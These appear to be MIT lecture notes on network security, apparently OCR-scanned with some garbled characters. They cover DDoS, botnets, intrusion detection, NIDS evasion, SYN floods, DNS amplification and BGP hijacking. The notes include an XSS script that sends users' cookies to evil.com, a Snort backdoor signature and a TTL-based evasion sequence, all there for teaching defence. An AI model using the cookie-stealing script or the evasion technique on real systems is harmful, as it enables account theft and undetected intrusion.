6.033: Security - Network Security
Lecture 23
Katrina LaCurts, lacurts@mit.edu
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* Disclaimer: This is part of the security section in 6.033. Only *
* use the information you learn in this portion of the class to *
% secure your own systems, not to attack others. *
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0.

Today's Threat Model

Last time: adversary tried to observe or tamper with packets
Today: adversary is not just passively observing the network, but
actively using it to attack users (more actively than the

replay/reflection/man-in-the-middle attacks we saw last time)
Some attacks today don't require adversary to observe packet
contents; secure channels won't help

. DDoS Attacks

Adversary's goal: bring down a service (e.g., take down the root

DNS servers)

Strategy: congest the service. Make it spend time handling

the adversary's requests so that it can't get to legitimate ones

DoS ("denial of service") attack

- Adversary sends a bunch of traffic to the service (in many
cases even invalid requests will work), queues fill up, packets
dropped, etc.

DDoS ("distributed DoS") attack

— Mount the attack from multiple machines

Can target any resource: bandwidth, routing systems, access to a

database, etc.

Consequences of (D)DoS attacks

- A server being down for a few hours might not seem like the end
of the world. But..

— Could be bank transactions

— Could be DNS root servers (would bring Internet to a
stand-still)

— Could be on high-frequency trading machines, affect the stock
market, etc.

Botnets

Can't we just toughen up our defenses? Add more bandwidth? How
much traffic can one adversary generate?
Botnets: large (~100,000 machines) collection of compromised
machines controlled by an attacker.
— Make it very easy to mount DDoS attacks
— Can be rented surprisingly cheaply
— PLEASE DO NOT DO THIS
How botnets work in five minutes
- How do machines get compromised (and become part of the botnet)



- Lots of ways. Common way: user visits vulnerable website.
Vulnerability is usually a cross—site scripting attack.

Example:

— TrustedBlog.com has a box for users to enter comments on
blogs.

— Attacker embeds an executable script in his comment such
as:

<script> document. location =
"http://evil.com/blah.cgi?cookie=" + document.cookie;
</script>
— When users browse, server sends comments to their browsers
which execute the script, which sends the user's cookie to
the attacker's site
- XSS script to compromise a botnet machine causes user to
download a "rootkit", which compromises the machine
- see tomorrow's recitation
- Bots contact command and control (C&C) servers which give
them commands
- How to combat botnets
— Block IP addresses? Ineffective. Bots can change IP addresses
rapidly.
— Distribute systems so that DDoS attacks don't have a
centralized component to bring down? Not bad, but as we've
seen, distribution => complexity

3. Network Intrusion Detection Systems (NIDS)
- If we wanted to block IP addresses, how would we even figure out
which IPs were part of the botnet?
— Broader question: how do we detect network attacks?
- Two approaches
- Signature-based: Keep a database of known attack signatures and
match traffic against the database.

A signature might look something like this:

alert tcp $EXTERNAL_NET any —> $HOME_NET 7597
(msg:"MALWARE-BACKDOOR QAZ Worm Client Login access";
flow:to_server,established; content:'"qazwsx.hsq";
metadata:ruleset community; reference:mcafee,98775;
classtype:misc-activity; sid:108; rev:11;)

- Pros: Easy to understand the outcome, Accurate in detecting
known attacks

— Cons: Can't discover new attacks,Can only get the signature
after the attack has already happened at least once

— Anomaly-based: Match traffic against a model of normal traffic

and flags abnormalities.

— Pros: Can deal with new attacks

- Cons: How do we model normal traffic?; Less accurate



detection of known attacks

— Many systems take a hybrid approach

— Most also give users the ability to, once an attack 1is
(passively) detected, do something to (actively) prevent it.
Out of scope of this lecture.

Example intrusion-detection systems:

- Snort https://www.snort.org/

- Bro https://www.bro.org/

. How to evade NIDS

Suppose we build a NIDS to scan traffic for a particular string

("USER root"). Seems easy.

Idea 1: Scan for the text in each packet. No good: text might be

split across multiple packets.

Idea 2: Remember text from the previous packet. Also no good:

packets might be delivered out-of-order.

Idea 3: Fully reassemble the byte stream. Possible if the

traffic has sequence numbers attacked (e.g., is TCP traffic). But
this costs state, and, unfortunately, is still evadable:

Attacker ———— NIDS —-——> receiver

Suppose path from attacker to NIDS = 15 hops, path from
attacker to receiver = 20 hops

1. Attacker sends two packets:
[ n; TTL=17 ; seqg=1 ]
[ r; TTL=23 ; seqg=1 ]

Both packets reach the NIDS, but because of the TTL, only
the second reaches the receiver.

NIDS' state: Receiver's state:
seq=1: [ n]or [ r] seq=1: [ r ]

2. Attacker sends two packets:
[ o; TTL=21 ; seq=2 |
[ i; TTL=15 ; seq=2 ]

3. Attacker sends one packet:
[ o; TTL=20 ; seq=3 |

4. Attacker sends two packets:
[ c; TTL=19 ; seq=4 ]
[ t; TTL=27 ; seq=4 ]

Ending state

NIDS' state: Receiver's state:
seq=1: [ n]lor [r] seq=1: [ r ]
seq=2: [ o] or [ i seq=2: [ o 1]



[ 0] seq=3: [ o 1]
[clor[t] seq=4: [ t 1]

At NIDS, string could be nooc, or riot, or rioc,
— Another way to evade NIDS: mount an attack on the detection
mechanism

5. Attacks that mimic legitimate traffic (and thus are even harder to
detect)
— HTTP flooding
— Attacker floods webserver with completely legitimate HTTP
requests to download a large file or perform some
computationally intensive database operation.
- TCP SYN floods
— TCP connections start with a "handshake'", which cause the
server to keep some state about the connection until the client
completes the handshake
— Attacker can initiate many handshakes, exhaust state on the
server
- Solution: server times out half-open connection
— Optimistic ACKs
— Attacker starts TCP communication with victim, ACKs packets
that it hasn't received yet
— Victim sends more and more traffic to the attacker, saturating
their own link
— DNS reflection/amplification
- Bots locate DNS nameservers (even better if they are
DNSSEC-enable)
— Bots send DNS requests to these nameservers
— Spoof sources to be the victim's IP address
— If DNSSEC-enable, request the relevant info. DNSSEC
responses tend to be very large
- Result: Large DNS responses that go to the victim's machine

6. Attacks on routers
— Suppose adversary gains access to routers. Could:
— Overload the router CPU with lots of routing churns
— Overload the routing table with too many routes
- Hijack prefixes

- Attacker gets an AS to announce that it originates a prefix
that it doesn't actually own. Or to announce a more specific
(and thus more-preferred) prefix. Or to just lie that a
shorter route exists.

- Example: http://www.wired.com/2014/08/isp-bitcoin-theft/

- Example:
https://www.ripe.net/publications/news/industry-developments/
youtube-hijacking—a-ripe-ncc-ris—case-study

- Example:
https://greenhost.nl/2013/03/21/spam—-not-spam-tracking—-

hijacked-



spamhaus-ip/

— Solution: secure BGP. Similar mechanism as DNSSEC. But,
with authentication, creating advertisements (signing them)
takes about 100 times as long as it does now.

- Also need a lot of ASes to buy into this at once, otherwise
it's not worth it

7. Moral of the story

— Secure channels are great, but adversaries can still use the
network to mount attacks

— These attacks become devastating if they attack parts of the
Internet's infrastructure (e.g., DNS, BGP)

- Proposals exist to secure the infrastructure (DNSSEC, Secure
BGP), but there are problems

— It should blow your mind —— and worry you —— that so much of the
Internet is unsecured.



